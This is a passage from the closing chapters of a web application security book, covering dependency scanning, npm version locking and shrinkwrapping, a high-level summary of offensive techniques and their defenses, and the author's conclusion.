would be nearly impossible to properly evaluate manually. As a result, dependency
trees must be evaluated using automated means, and other techniques should be used
in addition to ensure the integrity of the dependencies being relied on.

If a dependency tree can be pulled into memory and modeled using a tree-like data
structure, iteration through the dependency tree becomes quite simple and surpris‐
ingly efficient. Upon addition to the first-party application, any dependency and all of
its subdependency trees should be evaluated. The evaluation of these trees should be
performed in an automated fashion.

The easiest way to begin finding vulnerabilities in a dependency tree is to compare
your application’s dependency tree against a well-known CVE database. These data‐
bases host lists and reproductions of vulnerabilities found in well-known OSS pack‐
ages and third-party packages that are often integrated in first-party applications.

You can download a third-party scanner (like Snyk), or write a bit of script to convert
your dependency tree into a list and then compare it against a remote CVE database.
In the npm world, you can begin this process with a command like: npm list --
depth=[depth].

You can compare your findings against a number of databases, but for longevity’s
sake you may want to start with the NIST as it is funded by the US government and
likely to stick around for a long time.

Secure Integration Techniques
In Part II, we evaluated different integration techniques, discussing the pros and cons
of each from the perspective of an onlooker or an attacker.
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Let’s consider we are now viewing an integration from the perspective of an applica‐
tion owner. What are the most secure ways of integrating a third-party dependency?

Separation of Concerns
Unfortunately, one risk of integrating with third-party code on your main application
server is that that code may have side effects, or (if compromised) be able to take over
system resources and functionality if the principle of least authority is not correctly
implemented. One way to mitigate this risk is to run the third-party integration on its
own server (ideally maintained by your organization).

After setting up the integration on its own server, have your server communicate with
it via HTTP—sending and receiving JSON payloads. The JSON format ensures that
script execution on the application server is not possible without additional vulnera‐
bilities (vulnerability chaining) and allows for the dependency to be considered more
like a “pure function” as long as you do not persist state on the dependency server.

Note that while this reduces the risk on the primary application server, any confiden‐
tial data sent to the dependency server could still be modified and potentially recor‐
ded (with an improperly configured firewall) if the package is compromised.
Additionally, this technique will implement a reduction in application performance
due to increased in-transit time for functions to return data.

But the concepts behind this can be employed elsewhere; for example, a single server
could employ a number of modules with hardware-defined process and memory
boundaries. In doing this, a “risky” package would struggle to get the resources and
functionality of the main application.

Secure Package Management
When dealing with package management systems like npm or Maven, there is a cer‐
tain amount of accepted risk that comes with each individual system and the bound‐
aries and review required for published applications. One way of mitigating risk from
third-party packages installed this way is to individually audit specific versions of the
dependency, then “lock” the semantic version to the audited version number.

Semantic versioning uses three numbers: a “major” release, a “minor” release, and a
“patch.” Generally speaking, most package managers attempt to automatically keep
your dependencies on the latest patch by default. This means that, for example,
myLib 1.0.23 could be upgraded to myLib 1.0.24 without your knowledge.

npm will include a caret (^) prior to any dependency by default. If you remove this
caret, the dependency will use the exact version rather than the latest patch (1.0.24
versus ^1.0.24).
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This technique, unknown to most, does not protect your application if the depend‐
ency maintainer deploys a new version using an existing version number. Honoring
the rule of new code → new version number is entirely up to the dependency main‐
tainer in npm and several other package managers. Furthermore, this technique only
forces the top-level dependency to maintain a strict version, and does not apply to
descendant dependencies.

This is where shrinkwrapping comes into play. Running the command npm shrink
wrap against an npm repo will generate a new file called npm-shrinkwrap.json. From
this point forward, the current version of each dependency and subdependency (the
dependency tree) will be used at the exact version level.

This eliminates the risk of a dependency updating to the latest patch and pulling in
vulnerable code. It does not, however, eliminate the very rare risk of a package main‐
tainer reusing a version number for its dependency. To eliminate this risk, you should
modify your shrinkwrap file to reference Git SHAs, or deploy your own npm mirror
that contains the correct versions of each dependency.

Summary
Today’s web applications often have thousands, if not more, of individual dependen‐
cies required for application functionality to operate as normal. Ensuring the security
of each script in each dependency is a massive undertaking. As such it should be
assumed that any third-party integration comes with at least some amount of
expected risk (in exchange for reduced development time).

However, while this risk cannot be eliminated, it can be mitigated in a number of
ways.

Applying the principle of least privilege, we can let specific dependencies run on their
own server, or at least in their own environment with isolated server resources. This
technique reduces the risk to the rest of your application in the case of a severe secu‐
rity bug being found or a malicious script going unnoticed. For some dependencies,
however, isolation is difficult or impossible.

Dependencies that very tightly integrate with your core web application should be
evaluated independently at a particular version number. If these dependencies are
brought in via a package manager like npm, they should be version-locked and
shrinkwrapped. For additional security, you should consider either referencing Git
SHAs, or deploying your own npm mirror. The same techniques for dealing with
npm apply to other, similar package managers used in other languages.

To conclude, third-party dependencies always present risk, but careful integration
with some thought behind it can mitigate a lot of the upfront risk your application
would otherwise be exposed to.
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CHAPTER 28

Part III Summary

Congratulations, you have made it through each major part of Web Application Secu‐
rity. You now have knowledge regarding web application recon, offensive hacking
techniques for use against web applications, and defensive mitigations and best prac‐
tices that can be employed to reduce the risk of your application getting hacked.

You also should have some background on the history of software security and the
evolution of hacking. This has been foundational in the lead-up to web application
recon, offensive techniques, and defensive mitigations.

A brief summary of the book’s key points and lessons follows.

The History of Software Security
With proper evaluation of historical events, we can see the origins of modern defen‐
sive and offensive techniques. From these origins we can better understand the direc‐
tion in which software has developed, and make use of historical lessons while
developing next-generation offensive and defensive techniques.

Telephone phreaking
• In order to scale telephone networks, manual operators were replaced with auto‐

mation that relied on sound frequencies to connect telephones to each other.
• Early hackers, known as “phreakers,” learned to emulate these frequencies and

take advantage of administrative tones that allowed them to place calls without
paying for them.

• In response to phreaking, scientists at Bell Labs developed a dual-tone frequency
system that was not easily reproducable. For a long period of time, this elimina‐
ted or significantly diminished telephone phreaking.
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• Eventually, specialized hardware was developed that could mimic DTMF tones,
rendering such a system ineffective against phreakers.

• Finally, telephone switching centers switched to digital and eliminated phreaking
risk. DTMF tones remained in modern phones for reverse-compatibility
purposes.

Computer hacking
• Although personal computers already existed, the Commodore 64 was the first

computer that was user-friendly and budget-friendly enough to cause a massive
spread in personal computer adoption.

• An American computer scientist, Fred Cohen, demonstrated the first computer
virus that was capable of making copies of itself and spreading from one com‐
puter to another via floppy disk.

• Another American computer scientist, Robert Morris, became the first recorded
person to deploy a computer virus outside of a research lab. The Morris Worm
spread to over 15,000 network-attached computers within a day of its release.

• The US Government Office of Accountability stepped in for the first time in his‐
tory and set forth official laws concerning hacking. Morris went on to be the first
convicted computer hacker, charged with a $10,500 fine and 400 hours of
community service.

The World Wide Web
• The development of Web 1.0 opened up new avenues for hackers to attack

servers and networks.
• The rise of Web 2.0, which involved user-to-user collaboration over HTTP, resul‐

ted in a new attack vector for hackers: the browser.
• Because the web had been built on security mechanisms designed for protecting

servers and networks, many users’ devices and data were compromised until bet‐
ter security mechanisms and protocols could be developed.

Modern web applications
• Since the introduction of Web 2.0, browser security has increased dramatically.

This has changed the playing field, causing hackers to begin targeting logical vul‐
nerabilities in application code more than vulnerabilities present in server soft‐
ware, network protocols, or web browsers.

• The introduction of Web 2.0 also brought with it applications containing much
more valuable data than ever before. Banking, insurance, and even medicine have
moved critical business functionality to the web. This has resulted in a winner-
takes-all playing field for hackers, where the stakes are higher than ever before.
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• Because today’s hackers are targeting logical vulnerabilities in application source
code, it is essential for software developers and security experts to begin collabo‐
rating. Individual contribution is no longer as valuable as it was in the past.

Web Application Reconnaissance
Due to the increasing size and complexity of modern web applications, a first step in
finding application vulnerabilities is properly mapping an application and evaluating
each major functional component for architectural or logical risks. Proper application
recon is an essential first step prior to attacking a web application. Good recon will
provide you with a deep understanding of the target web application, which can be
used both for prioritizing attacks and avoiding detection.

Recon skills give you insight into how a qualified attacker would attack your web
application. This gives you the added benefit of being able to prioritize defenses, if
you are an application owner. Due to the ever-increasing complexity of modern web
applications, your recon skills may be limited by your engineering skills. As a result,
recon and engineering expertise go hand in hand.

The structure of modern web applications
• Unlike web applications 20 years ago, today’s web applications are built on many

layers of technology, and typically built with extensive server-to-user and user-
to-user functionality. Most applications use many forms of persistence, storing
data on both the server and the client (typically a browser). Because of this, the
potential surface area of any web application is quite broad.

• The types of databases, display-level technology, and server-side software used in
modern web applications is built on top of the problems web applications have
encountered in the past. Largely, the modern application ecosystem is developed
with developer productivity and user experience in mind. Because of this, new
types of vulnerabilities have emerged that would not have been possible
beforehand.

Subdomains, APIs, and HTTP
• Mastery of web application reconnaissance will require you to know ways to fully

map the surface area of a web application. Because today’s web applications are
much more distributed than those of the past, you may need to become familiar
with (and find) multiple web servers prior to discovering exploitable code. Fur‐
thermore, the interactions between these web servers may assist you in not only
understanding the target application, but in prioritizing your attacks as well.

• At the application layer, most websites today use HTTP for communication
between client and server. However, new protocols are being developed and inte‐
grated into modern web applications. Web applications of the future may make
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heavy use of sockets or RTC, so making use of easily adaptable recon techniques
is essential.

Third-party dependencies
• Today’s web applications rely just as much on third-party integrations as they do

on first-party code. Sometimes, they rely on third-party integrations even more
than first-party code. These dependencies are not audited at the same standards
as first-party code, and as a result can be a good attack vector for a hacker.

• Using recon techniques, we can fingerprint specific versions of web servers,
client-side frameworks, CSS frameworks, and databases. Using these fingerprints,
we may be able to determine specific (vulnerable) versions to exploit.

Application architecture
• Proper evaluation of an application’s software architecture can lead to the discov‐

ery of widespread vulnerabilities that result from inconsistent security controls.
• Application security architecture can be used as a proxy for the quality of code in

an application—a signal that hackers take very seriously when evaluating which
application to focus their efforts on.

Offense
Cross-Site Scripting (XSS)

• At their core, XSS attacks are possible when an application improperly makes use
of user-provided inputs in a way that permits script execution.

• When traditional forms of XSS are properly mitigated via sanitization of DOM
elements, or at the API level (or both), it still may be possible to find XSS vulner‐
abilities. XSS sinks exist as a result of bugs in the browser DOM spec, and occa‐
sionally as a result of improperly implemented third-party integrations.

Cross-Site Request Forgery (CSRF)
• CSRF attacks take advantage of a trust relationship established between the

browser and the user. Because of the trusting nature of this relationship, an
improperly configured application may accept elevated privilege requests on
behalf of a user who inadvertently clicked a link or filled out a web form.

• If the low-hanging fruit (state-changing HTTP GET requests) are already fil‐
tered, then alternative methods of attack, such as web forms, should be
considered.
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XML External Entity (XXE)
• A weakness in the XML specification allows improperly configured XML parsers

to leak sensitive server files in response to a valid XML request payload.
• These vulnerabilities are often visible when a request accepts an XML or XML-

like payload directly from the client, but in more complicated applications, indi‐
rect XXE may be possible. Indirect XXE occurs when a server accepts a payload
from the user, then formulates an XML file to send to the XML parser, rather
than accepting an XML object directly.

Injection attacks
• Although SQL injection attacks are the most widely known and prepared for,

injection attacks can occur against any CLI utility a server makes use of in
response to an API request.

• SQL databases are (often) guarded well against injection. Automation is perfect
for testing well-known SQL injection attacks since the method of attack is so well
documented. If SQL injection fails, consider image compressors, backup utilities,
and other CLIs as potential targets.

Denial of service (DoS)
• DoS attacks come in all shapes and forms, ranging from annoying reductions in

server performance, all the way to complete interruption for legitimate users.
• DoS attacks can target regular expression evaluation engines, resource-

consuming server processes, as well as simply targeting standard application or
network functionality with huge amounts of traffic or requests.

Exploiting third-party dependencies
• Third-party dependencies are rapidly becoming one of the easiest attack vectors

for a hacker. This is due to a combination of factors, one of which is the fact that
third-party dependencies are often not audited as closely as first-party code.

• Open source CVE databases can be used to find previously reported, known vul‐
nerabilities in well-known dependencies, which can then be exploited against a
target application unless the application has been updated or manually patched.

Defense
Secure application architecture

• Writing a secure web application starts at the architecture phase. A vulnerability
discovered in this phase can cost as much as 60 times less than a vulnerability
found in production code.
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• Proper security architecture can result in application-wide mitigations for com‐
mon security risks, versus on-demand mitigations, which are more likely to be
inconsistent or forgotten.

Reviewing code for security
• After a secure application architecture has been decided upon, a proper secure

code review process should be implemented to prevent common and easy to spot
security bugs from being pushed into production.

• Security reviews at the code review stage are performed similarly to a traditional
code review. The main difference should be the type of bugs sought after, and
how files and modules are prioritized given a limited time frame.

Vulnerability discovery
• Ideally, vulnerabilities would be discovered prior to being deployed in a produc‐

tion application. Unfortunately, this is often not the case. But there are several
techniques you can take advantage of to reduce the number of production
vulnerabilities.

• In addition to implementing your own vulnerability discovery pipeline, you can
take advantage of third-party specialists in the form of bug bounty programs and
penetration testers. Not only can these services help you discover vulnerabilities
early, but they can also incentivize hackers to report vulnerabilities to your orga‐
nization for payment rather than selling found vulnerabilities on the black mar‐
ket or exploiting the vulnerability themselves.

Vulnerability management
• Once a vulnerability is found, it should be reproduced and triaged. The vulnera‐

bility should be scored based on its potential impact, so its fix can be properly
prioritized.

• A number of scoring algorithms exist for determining the severity of a vulnera‐
bility, with CVSS being the most well known. It is imperative that your organiza‐
tion implements a scoring algorithm. The scoring algorithm you choose is less
important than the fact that you use one. Each scoring system will have a margin
of error, but as long as it can distinguish the difference between a severe and low-
risk vulnerability, it will help you prioritize the way in which work is distributed
and bugs are fixed.

Defending against XSS attacks
• XSS attacks can be mitigated at a number of locations in a web application stack:

from the API level with sanitization functions, in the database, or on the client.
Because XSS attacks target the client, the client is the most important surface area
for mitigations to be implemented.
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• Simple XSS vulnerabilities can be eliminated with smart coding, in particular
when dealing with the DOM. More advanced XSS vulnerabilities, such as those
that rely on DOM sinks, are much harder to mitigate and may not even be repro‐
duceable! As a result, being aware of the most common sinks and sources for
each type of XSS is important.

Defending against CSRF attacks
• CSRF attacks take advantage of the trust relationship between a user and a

browser. As a result, CSRF attacks are mitigated by introducing additional rules
for state-changing requests that a browser cannot automatically confirm.

• Many mitigations against CSRF-style vulnerabilities exist, from simply eliminat‐
ing state-changing GET requests in your codebase, to implementing CSRF tokens
and requiring 2FA confirmation on elevated API requests.

Defending against XXE
• Most XXE attacks are both simple to exploit and simple to protect against. All

modern XML parsers provide configuration options that allow the external entity
to be disabled.

• More advanced XXE defense involves considering XML-like formats and XML-
like parsers, such as SVG, PDF, RTF, etc., and evaluating the implementation of
usage of those parsers in the same way you would a true XML parser to deter‐
mine if any crossover functionality is present.

Defending against injection
• Injection attacks that target SQL databases can be stopped or reduced with

proper SQL configuration and the proper generation of SQL queries (e.g., pre‐
pared statements).

• Injection attacks that target CLI interfaces are more difficult to detect and pre‐
vent against. When designing these tools, or implementing one, best practices
like the principle of least authority and separation of concerns should be strongly
considered.

Defending against DoS
• DoS attacks originating from a single attacker can be mitigated by scanning regu‐

lar expressions to detect backtracing problems, preventing user API calls from
accessing functions that consume significant server resources, and adding rate
limitations to these functions when required.

• DDoS attacks are more difficult to mitigate, but mitigations should start at the
firewall and work their way up. Blackholing traffic is a potential solution, as is
enlisting the help of a bandwidth management service that specializes in DDoS.
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Securing third-party dependencies
• Third-party dependencies are one of the security banes of modern web applica‐

tions. Because of their rampant inclusion in first-party applications, combined
with a mixed bag of security audits, third-party dependencies are a common
cause of an application’s demise.

• Third-party integrations should be integrated in a way that limits the integra‐
tions’ permissions and scope to what is necessary. In addition, the integrations
should be scanned and reviewed prior to integration. This includes looking into
CVE databases to determine if any other researchers or organizations have
reported vulnerabilities that affect the integration in question.
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CHAPTER 29

Conclusion

You have completed Web Application Security. Ideally you have learned a lot about
securing and exploiting web applications that you can take elsewhere and put to good
use. There is still much more to learn. To become a web application security expert,
you will need to be exposed to many more topics, technologies, and scenarios.

This book isn’t a comprehensive glossary of web application security lessons; instead,
the topics were specifically chosen based on a few criteria.

First off, I wanted to make sure that each topic was applicable to a wide range of web
applications. This is because I wanted it to be full of practical information that could
be digested and then put to good use.

Second, each topic had to be either at the recommended skill level, or at a level that
could be gained from studying previous chapters of the book. This means that the
difficulty and knowledge required for each topic had to scale linearly with the previ‐
ous knowledge presented. I couldn’t skip around and expect the reader to find knowl‐
edge elsewhere; otherwise it would have become more of a glossary-style book
instead of an immersive cover-to-cover read.

Third, each topic in the book had to have some relation to the others in order for the
book to flow easily from cover to cover. I found that in my own reading, few technical
books and even fewer security books were organized carefully enough that I could
just open one up and start learning where I left off without having to skip back and
forth or consult a search engine.

I cannot promise the book meets all of those goals. I can promise that I have done my
best to organize and curate the contents so that hopefully you and all other readers
learn a lot from it and find it enjoyable to read.
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The last year of writing this book has been very enjoyable. I will be overwhelmed with
happiness if the content of the book can help someone become a better engineer,
resolve a security flaw in an application, or get a job in the security industry.

Thank you for taking the time to read this book, and I wish you the best on your
future security ventures.
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